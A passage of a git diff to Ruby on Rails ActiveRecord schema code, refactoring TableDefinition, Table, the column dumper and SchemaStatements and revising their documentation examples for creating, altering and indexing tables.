+ # t.string :item_number, index: true
# t.string :name, :value, default: "Untitled"
- # t.timestamps
+ # t.timestamps null: false
# end
#
# There's a short-hand method for each of the type values declared at the top. And then there's
@@ -234,33 +256,26 @@ module ActiveRecord
name = name.to_s
type = type.to_sym
- if primary_key_column_name == name
+ if @columns_hash[name] && @columns_hash[name].primary_key?
raise ArgumentError, "you can't redefine the primary key column '#{name}'. To define a custom primary key, pass { id: false } to create_table."
end
- column = self[name] || new_column_definition(@base, name, type)
-
- limit = options.fetch(:limit) do
- native[type][:limit] if native[type].is_a?(Hash)
- end
-
- column.limit = limit
- column.precision = options[:precision]
- column.scale = options[:scale]
- column.default = options[:default]
- column.null = options[:null]
+ index_options = options.delete(:index)
+ index(name, index_options.is_a?(Hash) ? index_options : {}) if index_options
+ @columns_hash[name] = new_column_definition(name, type, options)
self
end
- %w( string text integer float decimal datetime timestamp time date binary boolean ).each do |column_type|
- class_eval <<-EOV, __FILE__, __LINE__ + 1
- def #{column_type}(*args) # def string(*args)
- options = args.extract_options! # options = args.extract_options!
- column_names = args # column_names = args
- type = :'#{column_type}' # type = :string
- column_names.each { |name| column(name, type, options) } # column_names.each { |name| column(name, type, options) }
- end # end
- EOV
+ def remove_column(name)
+ @columns_hash.delete name.to_s
+ end
+
+ [:string, :text, :integer, :bigint, :float, :decimal, :datetime, :timestamp, :time, :date, :binary, :boolean].each do |column_type|
+ define_method column_type do |*args|
+ options = args.extract_options!
+ column_names = args
+ column_names.each { |name| column(name, column_type, options) }
+ end
end
# Adds index options to the indexes hash, keyed by column name
@@ -272,47 +287,96 @@ module ActiveRecord
end
# Appends <tt>:datetime</tt> columns <tt>:created_at</tt> and
- # <tt>:updated_at</tt> to the table.
+ # <tt>:updated_at</tt> to the table. See SchemaStatements#add_timestamps
+ #
+ # t.timestamps null: false
def timestamps(*args)
options = args.extract_options!
+ emit_warning_if_null_unspecified(options)
column(:created_at, :datetime, options)
column(:updated_at, :datetime, options)
end
+ # Adds a reference. Optionally adds a +type+ column, if <tt>:polymorphic</tt> option is provided.
+ # <tt>references</tt> and <tt>belongs_to</tt> are acceptable. The reference column will be an +integer+
+ # by default, the <tt>:type</tt> option can be used to specify a different type.
+ #
+ # t.references(:user)
+ # t.references(:user, type: "string")
+ # t.belongs_to(:supplier, polymorphic: true)
+ #
+ # See SchemaStatements#add_reference
def references(*args)
options = args.extract_options!
polymorphic = options.delete(:polymorphic)
index_options = options.delete(:index)
+ type = options.delete(:type) || :integer
args.each do |col|
- column("#{col}_id", :integer, options)
+ column("#{col}_id", type, options)
column("#{col}_type", :string, polymorphic.is_a?(Hash) ? polymorphic : options) if polymorphic
- index(polymorphic ? %w(id type).map { |t| "#{col}_#{t}" } : "#{col}_id", index_options.is_a?(Hash) ? index_options : nil) if index_options
+ index(polymorphic ? %w(type id).map { |t| "#{col}_#{t}" } : "#{col}_id", index_options.is_a?(Hash) ? index_options : {}) if index_options
end
end
alias :belongs_to :references
- # Returns a String whose contents are the column definitions
- # concatenated together. This string can then be prepended and appended to
- # to generate the final SQL to create the table.
- def to_sql
- @columns.map { |c| c.to_sql } * ', '
+ def new_column_definition(name, type, options) # :nodoc:
+ type = aliased_types(type.to_s, type)
+ column = create_column_definition name, type
+ limit = options.fetch(:limit) do
+ native[type][:limit] if native[type].is_a?(Hash)
+ end
+
+ column.limit = limit
+ column.precision = options[:precision]
+ column.scale = options[:scale]
+ column.default = options[:default]
+ column.null = options[:null]
+ column.first = options[:first]
+ column.after = options[:after]
+ column.primary_key = type == :primary_key || options[:primary_key]
+ column
end
private
- def new_column_definition(base, name, type)
- definition = ColumnDefinition.new base, name, type
- @columns << definition
- @columns_hash[name] = definition
- definition
+ def create_column_definition(name, type)
+ ColumnDefinition.new name, type
end
- def primary_key_column_name
- primary_key_column = columns.detect { |c| c.type == :primary_key }
- primary_key_column && primary_key_column.name
+ def native
+ @native
end
- def native
- @base.native_database_types
+ def aliased_types(name, fallback)
+ 'timestamp' == name ? :datetime : fallback
+ end
+ end
+
+ class AlterTable # :nodoc:
+ attr_reader :adds
+ attr_reader :foreign_key_adds
+ attr_reader :foreign_key_drops
+
+ def initialize(td)
+ @td = td
+ @adds = []
+ @foreign_key_adds = []
+ @foreign_key_drops = []
+ end
+
+ def name; @td.name; end
+
+ def add_foreign_key(to_table, options)
+ @foreign_key_adds << ForeignKeyDefinition.new(name, to_table, options)
+ end
+
+ def drop_foreign_key(name)
+ @foreign_key_drops << name
+ end
+
+ def add_column(name, type, options)
+ name = name.to_s
+ type = type.to_sym
+ @adds << @td.new_column_definition(name, type, options)
end
end
@@ -350,8 +414,10 @@ module ActiveRecord
# end
#
class Table
+ attr_reader :name
+
def initialize(table_name, base)
- @table_name = table_name
+ @name = table_name
@base = base
end
@@ -361,12 +427,12 @@ module ActiveRecord
# ====== Creating a simple column
# t.column(:name, :string)
def column(column_name, type, options = {})
- @base.add_column(@table_name, column_name, type, options)
+ @base.add_column(name, column_name, type, options)
end
# Checks to see if a column exists. See SchemaStatements#column_exists?
def column_exists?(column_name, type = nil, options = {})
- @base.column_exists?(@table_name, column_name, type, options)
+ @base.column_exists?(name, column_name, type, options)
end
# Adds a new index to the table. +column_name+ can be a single Symbol, or
@@ -379,26 +445,26 @@ module ActiveRecord
# ====== Creating a named index
# t.index([:branch_id, :party_id], unique: true, name: 'by_branch_party')
def index(column_name, options = {})
- @base.add_index(@table_name, column_name, options)
+ @base.add_index(name, column_name, options)
end
# Checks to see if an index exists. See SchemaStatements#index_exists?
def index_exists?(column_name, options = {})
- @base.index_exists?(@table_name, column_name, options)
+ @base.index_exists?(name, column_name, options)
end
# Renames the given index on the table.
#
# t.rename_index(:user_id, :account_id)
def rename_index(index_name, new_index_name)
- @base.rename_index(@table_name, index_name, new_index_name)
+ @base.rename_index(name, index_name, new_index_name)
end
# Adds timestamps (+created_at+ and +updated_at+) columns to the table. See SchemaStatements#add_timestamps
#
- # t.timestamps
- def timestamps
- @base.add_timestamps(@table_name)
+ # t.timestamps null: false
+ def timestamps(options = {})
+ @base.add_timestamps(name, options)
end
# Changes the column's definition according to the new options.
@@ -407,7 +473,7 @@ module ActiveRecord
# t.change(:name, :string, limit: 80)
# t.change(:description, :text)
def change(column_name, type, options = {})
- @base.change_column(@table_name, column_name, type, options)
+ @base.change_column(name, column_name, type, options)
end
# Sets a new default value for a column. See SchemaStatements#change_column_default
@@ -415,7 +481,7 @@ module ActiveRecord
# t.change_default(:qualification, 'new')
# t.change_default(:authorized, 1)
def change_default(column_name, default)
- @base.change_column_default(@table_name, column_name, default)
+ @base.change_column_default(name, column_name, default)
end
# Removes the column(s) from the table definition.
@@ -423,7 +489,7 @@ module ActiveRecord
# t.remove(:qualification)
# t.remove(:qualification, :experience)
def remove(*column_names)
- @base.remove_column(@table_name, *column_names)
+ @base.remove_columns(name, *column_names)
end
# Removes the given index from the table.
@@ -437,33 +503,36 @@ module ActiveRecord
# ====== Remove the index named by_branch_party in the table_name table
# t.remove_index name: :by_branch_party
def remove_index(options = {})
- @base.remove_index(@table_name, options)
+ @base.remove_index(name, options)
end
# Removes the timestamp columns (+created_at+ and +updated_at+) from the table.
#
# t.remove_timestamps
- def remove_timestamps
- @base.remove_timestamps(@table_name)
+ def remove_timestamps(options = {})
+ @base.remove_timestamps(name, options)
end
# Renames a column.
#
# t.rename(:description, :name)
def rename(column_name, new_column_name)
- @base.rename_column(@table_name, column_name, new_column_name)
+ @base.rename_column(name, column_name, new_column_name)
end
# Adds a reference. Optionally adds a +type+ column, if <tt>:polymorphic</tt> option is provided.
- # <tt>references</tt> and <tt>belongs_to</tt> are acceptable.
+ # <tt>references</tt> and <tt>belongs_to</tt> are acceptable. The reference column will be an +integer+
+ # by default, the <tt>:type</tt> option can be used to specify a different type.
#
# t.references(:user)
+ # t.references(:user, type: "string")
# t.belongs_to(:supplier, polymorphic: true)
#
+ # See SchemaStatements#add_reference
def references(*args)
options = args.extract_options!
args.each do |ref_name|
- @base.add_reference(@table_name, ref_name, options)
+ @base.add_reference(name, ref_name, options)
end
end
alias :belongs_to :references
@@ -474,10 +543,11 @@ module ActiveRecord
# t.remove_references(:user)
# t.remove_belongs_to(:supplier, polymorphic: true)
#
+ # See SchemaStatements#remove_reference
def remove_references(*args)
options = args.extract_options!
args.each do |ref_name|
- @base.remove_reference(@table_name, ref_name, options)
+ @base.remove_reference(name, ref_name, options)
end
end
alias :remove_belongs_to :remove_references
@@ -486,27 +556,13 @@ module ActiveRecord
#
# t.string(:goat)
# t.string(:goat, :sheep)
- %w( string text integer float decimal datetime timestamp time date binary boolean ).each do |column_type|
- class_eval <<-EOV, __FILE__, __LINE__ + 1
- def #{column_type}(*args) # def string(*args)
- options = args.extract_options! # options = args.extract_options!
- column_names = args # column_names = args
- type = :'#{column_type}' # type = :string
- column_names.each do |name| # column_names.each do |name|
- column = ColumnDefinition.new(@base, name.to_s, type) # column = ColumnDefinition.new(@base, name, type)
- if options[:limit] # if options[:limit]
- column.limit = options[:limit] # column.limit = options[:limit]
- elsif native[type].is_a?(Hash) # elsif native[type].is_a?(Hash)
- column.limit = native[type][:limit] # column.limit = native[type][:limit]
- end # end
- column.precision = options[:precision] # column.precision = options[:precision]
- column.scale = options[:scale] # column.scale = options[:scale]
- column.default = options[:default] # column.default = options[:default]
- column.null = options[:null] # column.null = options[:null]
- @base.add_column(@table_name, name, column.sql_type, options) # @base.add_column(@table_name, name, column.sql_type, options)
- end # end
- end # end
- EOV
+ [:string, :text, :integer, :float, :decimal, :datetime, :timestamp, :time, :date, :binary, :boolean].each do |column_type|
+ define_method column_type do |*args|
+ options = args.extract_options!
+ args.each do |column_name|
+ @base.add_column(name, column_name, column_type, options)
+ end
+ end
end
private
@@ -514,6 +570,5 @@ module ActiveRecord
@base.native_database_types
end
end
-
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper.rb
index 9d6111b51e..0834105079 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper.rb
@@ -3,34 +3,32 @@ module ActiveRecord
# The goal of this module is to move Adapter specific column
# definitions to the Adapter instead of having it in the schema
# dumper itself. This code represents the normal case.
- # We can then redefine how certain data types may be handled in the schema dumper on the
- # Adapter level by over-writing this code inside the database spececific adapters
+ # We can then redefine how certain data types may be handled in the schema dumper on the
+ # Adapter level by over-writing this code inside the database specific adapters
module ColumnDumper
- def column_spec(column, types)
- spec = prepare_column_options(column, types)
- (spec.keys - [:name, :type]).each{ |k| spec[k].insert(0, "#{k.to_s}: ")}
+ def column_spec(column)
+ spec = prepare_column_options(column)
+ (spec.keys - [:name, :type]).each{ |k| spec[k].insert(0, "#{k}: ")}
spec
end
# This can be overridden on a Adapter level basis to support other
# extended datatypes (Example: Adding an array option in the
# PostgreSQLAdapter)
- def prepare_column_options(column, types)
+ def prepare_column_options(column)
spec = {}
spec[:name] = column.name.inspect
+ spec[:type] = column.type.to_s
+ spec[:null] = 'false' unless column.null
- # AR has an optimization which handles zero-scale decimals as integers. This
- # code ensures that the dumper still dumps the column as a decimal.
- spec[:type] = if column.type == :integer && /^(numeric|decimal)/ =~ column.sql_type
- 'decimal'
- else
- column.type.to_s
- end
- spec[:limit] = column.limit.inspect if column.limit != types[column.type][:limit] && spec[:type] != 'decimal'
+ limit = column.limit || native_database_types[column.type][:limit]
+ spec[:limit] = limit.inspect if limit
spec[:precision] = column.precision.inspect if column.precision
spec[:scale] = column.scale.inspect if column.scale
- spec[:null] = 'false' unless column.null
- spec[:default] = default_string(column.default) if column.has_default?
+
+ default = schema_default(column) if column.has_default?
+ spec[:default] = default unless default.nil?
+
spec
end
@@ -41,16 +39,12 @@ module ActiveRecord
private
- def default_string(value)
- case value
- when BigDecimal
- value.to_s
- when Date, DateTime, Time
- "'#{value.to_s(:db)}'"
- else
- value.inspect
- end
+ def schema_default(column)
+ default = column.type_cast_from_database(column.default)
+ unless default.nil?
+ column.type_cast_for_schema(default)
end
+ end
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
index f1e42dfbbe..fd52cdf716 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
@@ -5,7 +5,7 @@ module ActiveRecord
module SchemaStatements
include ActiveRecord::Migration::JoinTable
- # Returns a Hash of mappings from the abstract data types to the native
+ # Returns a hash of mappings from the abstract data types to the native
# database types. See TableDefinition#column for details on the recognized
# abstract data types.
def native_database_types
@@ -20,6 +20,7 @@ module ActiveRecord
# Checks to see if the table +table_name+ exists on the database.
#
# table_exists?(:developers)
+ #
def table_exists?(table_name)
tables.include?(table_name.to_s)
end
@@ -29,25 +30,27 @@ module ActiveRecord
# Checks to see if an index exists on a table for a given index definition.
#
- # # Check an index exists
- # index_exists?(:suppliers, :company_id)
+ # # Check an index exists
+ # index_exists?(:suppliers, :company_id)
+ #
+ # # Check an index on multiple columns exists
+ # index_exists?(:suppliers, [:company_id, :company_type])
#
- # # Check an index on multiple columns exists
- # index_exists?(:suppliers, [:company_id, :company_type])
+ # # Check a unique index exists
+ # index_exists?(:suppliers, :company_id, unique: true)
#
- # # Check a unique index exists
- # index_exists?(:suppliers, :company_id, unique: true)
+ # # Check an index with a custom name exists
+ # index_exists?(:suppliers, :company_id, name: "idx_company_id")
#
- # # Check an index with a custom name exists
- # index_exists?(:suppliers, :company_id, name: "idx_company_id"
def index_exists?(table_name, column_name, options = {})
- column_names = Array(column_name)
- index_name = options.key?(:name) ? options[:name].to_s : index_name(table_name, :column => column_names)
- if options[:unique]
- indexes(table_name).any?{ |i| i.unique && i.name == index_name }
- else
- indexes(table_name).any?{ |i| i.name == index_name }
- end
+ column_names = Array(column_name).map(&:to_s)
+ index_name = options.key?(:name) ? options[:name].to_s : index_name(table_name, column: column_names)
+ checks = []
+ checks << lambda { |i| i.name == index_name }
+ checks << lambda { |i| i.columns == column_names }
+ checks << lambda { |i| i.unique } if options[:unique]
+
+ indexes(table_name).any? { |i| checks.all? { |check| check[i] } }
end
# Returns an array of Column objects for the table specified by +table_name+.
@@ -56,19 +59,21 @@ module ActiveRecord
# Checks to see if a column exists in a given table.
#
- # # Check a column exists
- # column_exists?(:suppliers, :name)
+ # # Check a column exists
+ # column_exists?(:suppliers, :name)
#
- # # Check a column exists of a particular type
- # column_exists?(:suppliers, :name, :string)
+ # # Check a column exists of a particular type
+ # column_exists?(:suppliers, :name, :string)
+ #
+ # # Check a column exists with a specific definition
+ # column_exists?(:suppliers, :name, :string, limit: 100)
+ # column_exists?(:suppliers, :name, :string, default: 'default')
+ # column_exists?(:suppliers, :name, :string, null: false)
+ # column_exists?(:suppliers, :tax, :decimal, precision: 8, scale: 2)
#
- # # Check a column exists with a specific definition
- # column_exists?(:suppliers, :name, :string, limit: 100)
- # column_exists?(:suppliers, :name, :string, default: 'default')
- # column_exists?(:suppliers, :name, :string, null: false)
- # column_exists?(:suppliers, :tax, :decimal, precision: 8, scale: 2)
def column_exists?(table_name, column_name, type = nil, options = {})
- columns(table_name).any?{ |c| c.name == column_name.to_s &&
+ column_name = column_name.to_s
+ columns(table_name).any?{ |c| c.name == column_name &&
(!type || c.type == type) &&
(!options.key?(:limit) || c.limit == options[:limit]) &&
(!options.key?(:precision) || c.precision == options[:precision]) &&
@@ -84,27 +89,30 @@ module ActiveRecord
# form or the regular form, like this:
#
# === Block form
- # # create_table() passes a TableDefinition object to the block.
- # # This form will not only create the table, but also columns for the
- # # table.
#
- # create_table(:suppliers) do |t|
- # t.column :name, :string, limit: 60
- # # Other fields here
- # end
+ # # create_table() passes a TableDefinition object to the block.
+ # # This form will not only create the table, but also columns for the
+ # # table.
+ #
+ # create_table(:suppliers) do |t|
+ # t.column :name, :string, limit: 60
+ # # Other fields here
+ # end
#
# === Block form, with shorthand
- # # You can also use the column types as method calls, rather than calling the column method.
- # create_table(:suppliers) do |t|
- # t.string :name, limit: 60
- # # Other fields here
- # end
+ #
+ # # You can also use the column types as method calls, rather than calling the column method.
+ # create_table(:suppliers) do |t|
+ # t.string :name, limit: 60
+ # # Other fields here
+ # end
#
# === Regular form
- # # Creates a table called 'suppliers' with no columns.
- # create_table(:suppliers)
- # # Add a column to 'suppliers'.
- # add_column(:suppliers, :name, :string, {limit: 60})
+ #
+ # # Creates a table called 'suppliers' with no columns.
+ # create_table(:suppliers)
+ # # Add a column to 'suppliers'.
+ # add_column(:suppliers, :name, :string, {limit: 60})
#
# The +options+ hash can include the following keys:
# [<tt>:id</tt>]
@@ -114,9 +122,9 @@ module ActiveRecord
# The name of the primary key, if one is to be added automatically.
# Defaults to +id+. If <tt>:id</tt> is false this option is ignored.
#
- # Also note that this just sets the primary key in the table. You additionally
- # need to configure the primary key in the model via +self.primary_key=+.
- # Models do NOT auto-detect the primary key from their table definition.
+ # Note that Active Record models will automatically detect their
+ # primary key. This can be avoided by using +self.primary_key=+ on the model
+ # to define the key explicitly.
#
# [<tt>:options</tt>]
# Any extra options you want appended to the table definition.
@@ -125,39 +133,68 @@ module ActiveRecord
# [<tt>:force</tt>]
# Set to true to drop the table before creating it.
# Defaults to false.
+ # [<tt>:as</tt>]
+ # SQL to use to generate the table. When this option is used, the block is
+ # ignored, as are the <tt>:id</tt> and <tt>:primary_key</tt> options.
#
# ====== Add a backend specific option to the generated SQL (MySQL)
- # create_table(:suppliers, options: 'ENGINE=InnoDB DEFAULT CHARSET=utf8')
+ #
+ # create_table(:suppliers, options: 'ENGINE=InnoDB DEFAULT CHARSET=utf8')
+ #
# generates:
- # CREATE TABLE suppliers (
- # id int(11) DEFAULT NULL auto_increment PRIMARY KEY
- # ) ENGINE=InnoDB DEFAULT CHARSET=utf8
+ #
+ # CREATE TABLE suppliers (
+ # id int(11) DEFAULT NULL auto_increment PRIMARY KEY
+ # ) ENGINE=InnoDB DEFAULT CHARSET=utf8
#
# ====== Rename the primary key column
- # create_table(:objects, primary_key: 'guid') do |t|
- # t.column :name, :string, limit: 80
- # end
+ #
+ # create_table(:objects, primary_key: 'guid') do |t|
+ # t.column :name, :string, limit: 80
+ # end
+ #
# generates:
- # CREATE TABLE objects (
- # guid int(11) DEFAULT NULL auto_increment PRIMARY KEY,
- # name varchar(80)
- # )
+ #
+ # CREATE TABLE objects (
+ # guid int(11) DEFAULT NULL auto_increment PRIMARY KEY,
+ # name varchar(80)
+ # )
#
# ====== Do not add a primary key column
- # create_table(:categories_suppliers, id: false) do |t|
- # t.column :category_id, :integer
- # t.column :supplier_id, :integer
- # end
+ #
+ # create_table(:categories_suppliers, id: false) do |t|
+ # t.column :category_id, :integer
+ # t.column :supplier_id, :integer
+ # end
+ #
# generates:
- # CREATE TABLE categories_suppliers (
- # category_id int,
- # supplier_id int
- # )
+ #
+ # CREATE TABLE categories_suppliers (
+ # category_id int,
+ # supplier_id int
+ # )
+ #
+ # ====== Create a temporary table based on a query
+ #
+ # create_table(:long_query, temporary: true,
+ # as: "SELECT * FROM orders INNER JOIN line_items ON order_id=orders.id")
+ #
+ # generates:
+ #
+ # CREATE TEMPORARY TABLE long_query AS
+ # SELECT * FROM orders INNER JOIN line_items ON order_id=orders.id
#
# See also TableDefinition#column for details on how to create columns.
def create_table(table_name, options = {})
- td = table_definition
- td.primary_key(options[:primary_key] || Base.get_primary_key(table_name.to_s.singularize)) unless options[:id] == false
+ td = create_table_definition table_name, options[:temporary], options[:options], options[:as]
+
+ if options[:id] != false && !options[:as]
+ pk = options.fetch(:primary_key) do
+ Base.get_primary_key table_name.to_s.singularize
+ end
+
+ td.primary_key pk, options.fetch(:id, :primary_key), options
+ end
yield td if block_given?
@@ -165,19 +202,16 @@ module ActiveRecord
drop_table(table_name, options)
end
- create_sql = "CREATE#{' TEMPORARY' if options[:temporary]} TABLE "
- create_sql << "#{quote_table_name(table_name)} ("
- create_sql << td.to_sql
- create_sql << ") #{options[:options]}"
- execute create_sql
- td.indexes.each_pair { |c,o| add_index table_name, c, o }
+ result = execute schema_creation.accept td
+ td.indexes.each_pair { |c, o| add_index(table_name, c, o) } unless supports_indexes_in_create?
+ result
end
# Creates a new join table with the name created using the lexical order of the first two
# arguments. These arguments can be a String or a Symbol.
#
- # # Creates a table called 'assemblies_parts' with no id.
- # create_join_table(:assemblies, :parts)
+ # # Creates a table called 'assemblies_parts' with no id.
+ # create_join_table(:assemblies, :parts)
#
# You can pass a +options+ hash can include the following keys:
# [<tt>:table_name</tt>]
@@ -192,13 +226,25 @@ module ActiveRecord
# Set to true to drop the table before creating it.
# Defaults to false.
#
+ # Note that +create_join_table+ does not create any indices by default; you can use
+ # its block form to do so yourself:
+ #
+ # create_join_table :products, :categories do |t|
+ # t.index :product_id
+ # t.index :category_id
+ # end
+ #
# ====== Add a backend specific option to the generated SQL (MySQL)
- # create_join_table(:assemblies, :parts, options: 'ENGINE=InnoDB DEFAULT CHARSET=utf8')
+ #
+ # create_join_table(:assemblies, :parts, options: 'ENGINE=InnoDB DEFAULT CHARSET=utf8')
+ #
# generates:
- # CREATE TABLE assemblies_parts (
- # assembly_id int NOT NULL,
- # part_id int NOT NULL,
- # ) ENGINE=InnoDB DEFAULT CHARSET=utf8
+ #
+ # CREATE TABLE assemblies_parts (
+ # assembly_id int NOT NULL,
+ # part_id int NOT NULL,
+ # ) ENGINE=InnoDB DEFAULT CHARSET=utf8
+ #
def create_join_table(table_1, table_2, options = {})
join_table_name = find_join_table_name(table_1, table_2, options)
@@ -214,86 +260,110 @@ module ActiveRecord
end
end
+ # Drops the join table specified by the given arguments.
+ # See +create_join_table+ for details.
+ #
+ # Although this command ignores the block if one is given, it can be helpful
+ # to provide one in a migration's +change+ method so it can be reverted.
+ # In that case, the block will be used by create_join_table.
+ def drop_join_table(table_1, table_2, options = {})
+ join_table_name = find_join_table_name(table_1, table_2, options)
+ drop_table(join_table_name)
+ end
+
# A block for changing columns in +table+.
#
- # # change_table() yields a Table instance
- # change_table(:suppliers) do |t|
- # t.column :name, :string, limit: 60
- # # Other column alterations here
- # end
+ # # change_table() yields a Table instance
+ # change_table(:suppliers) do |t|
+ # t.column :name, :string, limit: 60
+ # # Other column alterations here
+ # end
#
# The +options+ hash can include the following keys:
# [<tt>:bulk</tt>]
# Set this to true to make this a bulk alter query, such as
- # ALTER TABLE `users` ADD COLUMN age INT(11), ADD COLUMN birthdate DATETIME ...
+ #
+ # ALTER TABLE `users` ADD COLUMN age INT(11), ADD COLUMN birthdate DATETIME ...
#
# Defaults to false.
#
# ====== Add a column
- # change_table(:suppliers) do |t|
- # t.column :name, :string, limit: 60
- # end
+ #
+ # change_table(:suppliers) do |t|
+ # t.column :name, :string, limit: 60
+ # end
#
# ====== Add 2 integer columns
- # change_table(:suppliers) do |t|
- # t.integer :width, :height, null: false, default: 0
- # end
+ #
+ # change_table(:suppliers) do |t|
+ # t.integer :width, :height, null: false, default: 0
+ # end
#
# ====== Add created_at/updated_at columns
- # change_table(:suppliers) do |t|
- # t.timestamps
- # end
+ #
+ # change_table(:suppliers) do |t|
+ # t.timestamps
+ # end
#
# ====== Add a foreign key column
- # change_table(:suppliers) do |t|
- # t.references :company
- # end
#
- # Creates a <tt>company_id(integer)</tt> column
+ # change_table(:suppliers) do |t|
+ # t.references :company
+ # end
+ #
+ # Creates a <tt>company_id(integer)</tt> column.
#
# ====== Add a polymorphic foreign key column
+ #
# change_table(:suppliers) do |t|
# t.belongs_to :company, polymorphic: true
# end
#
- # Creates <tt>company_type(varchar)</tt> and <tt>company_id(integer)</tt> columns
+ # Creates <tt>company_type(varchar)</tt> and <tt>company_id(integer)</tt> columns.
#
# ====== Remove a column
+ #
# change_table(:suppliers) do |t|
# t.remove :company
# end
#
# ====== Remove several columns
+ #
# change_table(:suppliers) do |t|
# t.remove :company_id
# t.remove :width, :height
# end
#
# ====== Remove an index
+ #
# change_table(:suppliers) do |t|
# t.remove_index :company_id
# end
#
- # See also Table for details on
- # all of the various column transformation
+ # See also Table for details on all of the various column transformation.
def change_table(table_name, options = {})
if supports_bulk_alter? && options[:bulk]
recorder = ActiveRecord::Migration::CommandRecorder.new(self)
- yield Table.new(table_name, recorder)
+ yield update_table_definition(table_name, recorder)
bulk_change_table(table_name, recorder.commands)
else
- yield Table.new(table_name, self)
+ yield update_table_definition(table_name, self)
end
end
# Renames a table.
#
- # rename_table('octopuses', 'octopi')
+ # rename_table('octopuses', 'octopi')
+ #
def rename_table(table_name, new_name)
raise NotImplementedError, "rename_table is not implemented"
end
# Drops a table from the database.
+ #
+ # Although this command ignores +options+ and the block if one is given, it can be helpful
+ # to provide these in a migration's +change+ method so it can be reverted.
+ # In that case, +options+ and the block will be used by create_table.
def drop_table(table_name, options = {})
execute "DROP TABLE #{quote_table_name(table_name)}"
end
@@ -301,41 +371,80 @@ module ActiveRecord
# Adds a new column to the named table.
# See TableDefinition#column for details of the options you can use.
def add_column(table_name, column_name, type, options = {})
- add_column_sql = "ALTER TABLE #{quote_table_name(table_name)} ADD #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
- add_column_options!(add_column_sql, options)
- execute(add_column_sql)
+ at = create_alter_table table_name
+ at.add_column(column_name, type, options)
+ execute schema_creation.accept at
end
- # Removes the column(s) from the table definition.
+ # Removes the given columns from the table definition.
+ #
+ # remove_columns(:suppliers, :qualification, :experience)
#
- # remove_column(:suppliers, :qualification)
- # remove_columns(:suppliers, :qualification, :experience)
- def remove_column(table_name, *column_names)
- columns_for_remove(table_name, *column_names).each {|column_name| execute "ALTER TABLE #{quote_table_name(table_name)} DROP #{column_name}" }
+ def remove_columns(table_name, *column_names)
+ raise ArgumentError.new("You must specify at least one column name. Example: remove_columns(:people, :first_name)") if column_names.empty?
+ column_names.each do |column_name|
+ remove_column(table_name, column_name)
+ end
+ end
+
+ # Removes the column from the table definition.
+ #
+ # remove_column(:suppliers, :qualification)
+ #
+ # The +type+ and +options+ parameters will be ignored if present. It can be helpful
+ # to provide these in a migration's +change+ method so it can be reverted.
+ # In that case, +type+ and +options+ will be used by add_column.
+ def remove_column(table_name, column_name, type = nil, options = {})
+ execute "ALTER TABLE #{quote_table_name(table_name)} DROP #{quote_column_name(column_name)}"
end
- alias :remove_columns :remove_column
# Changes the column's definition according to the new options.
# See TableDefinition#column for details of the options you can use.
#
- # change_column(:suppliers, :name, :string, limit: 80)
- # change_column(:accounts, :description, :text)
+ # change_column(:suppliers, :name, :string, limit: 80)
+ # change_column(:accounts, :description, :text)
+ #
def change_column(table_name, column_name, type, options = {})
raise NotImplementedError, "change_column is not implemented"
end
- # Sets a new default value for a column.
+ # Sets a new default value for a column:
+ #
+ # change_column_default(:suppliers, :qualification, 'new')
+ # change_column_default(:accounts, :authorized, 1)
+ #
+ # Setting the default to +nil+ effectively drops the default:
+ #
+ # change_column_default(:users, :email, nil)
#
- # change_column_default(:suppliers, :qualification, 'new')
- # change_column_default(:accounts, :authorized, 1)
- # change_column_default(:users, :email, nil)
def change_column_default(table_name, column_name, default)
raise NotImplementedError, "change_column_default is not implemented"
end
+ # Sets or removes a +NOT NULL+ constraint on a column. The +null+ flag
+ # indicates whether the value can be +NULL+. For example
+ #
+ # change_column_null(:users, :nickname, false)
+ #
+ # says nicknames cannot be +NULL+ (adds the constraint), whereas
+ #
+ # change_column_null(:users, :nickname, true)
+ #
+ # allows them to be +NULL+ (drops the constraint).
+ #
+ # The method accepts an optional fourth argument to replace existing
+ # +NULL+s with some other value. Use that one when enabling the
+ # constraint if needed, since otherwise those rows would not be valid.
+ #
+ # Please note the fourth argument does not set a column's default.
+ def change_column_null(table_name, column_name, null, default = nil)
+ raise NotImplementedError, "change_column_null is not implemented"
+ end
+
# Renames a column.
#
- # rename_column(:suppliers, :description, :name)
+ # rename_column(:suppliers, :description, :name)
+ #
def rename_column(table_name, column_name, new_column_name)
raise NotImplementedError, "rename_column is not implemented"
end
@@ -347,60 +456,106 @@ module ActiveRecord
# you pass <tt>:name</tt> as an option.
#
# ====== Creating a simple index
- # add_index(:suppliers, :name)
- # generates
- # CREATE INDEX suppliers_name_index ON suppliers(name)
+ #
+ # add_index(:suppliers, :name)
+ #
+ # generates:
+ #
+ # CREATE INDEX suppliers_name_index ON suppliers(name)
#
# ====== Creating a unique index
- # add_index(:accounts, [:branch_id, :party_id], unique: true)
- # generates
- # CREATE UNIQUE INDEX accounts_branch_id_party_id_index ON accounts(branch_id, party_id)
+ #
+ # add_index(:accounts, [:branch_id, :party_id], unique: true)
+ #
+ # generates:
+ #
+ # CREATE UNIQUE INDEX accounts_branch_id_party_id_index ON accounts(branch_id, party_id)
#
# ====== Creating a named index
- # add_index(:accounts, [:branch_id, :party_id], unique: true, name: 'by_branch_party')
- # generates
+ #
+ # add_index(:accounts, [:branch_id, :party_id], unique: true, name: 'by_branch_party')
+ #
+ # generates:
+ #
# CREATE UNIQUE INDEX by_branch_party ON accounts(branch_id, party_id)
#
# ====== Creating an index with specific key length
- # add_index(:accounts, :name, name: 'by_name', length: 10)
- # generates
- # CREATE INDEX by_name ON accounts(name(10))
#
- # add_index(:accounts, [:name, :surname], name: 'by_name_surname', length: {name: 10, surname: 15})
- # generates
- # CREATE INDEX by_name_surname ON accounts(name(10), surname(15))
+ # add_index(:accounts, :name, name: 'by_name', length: 10)
+ #
+ # generates:
+ #
+ # CREATE INDEX by_name ON accounts(name(10))
+ #
+ # add_index(:accounts, [:name, :surname], name: 'by_name_surname', length: {name: 10, surname: 15})
+ #
+ # generates:
+ #
+ # CREATE INDEX by_name_surname ON accounts(name(10), surname(15))
#
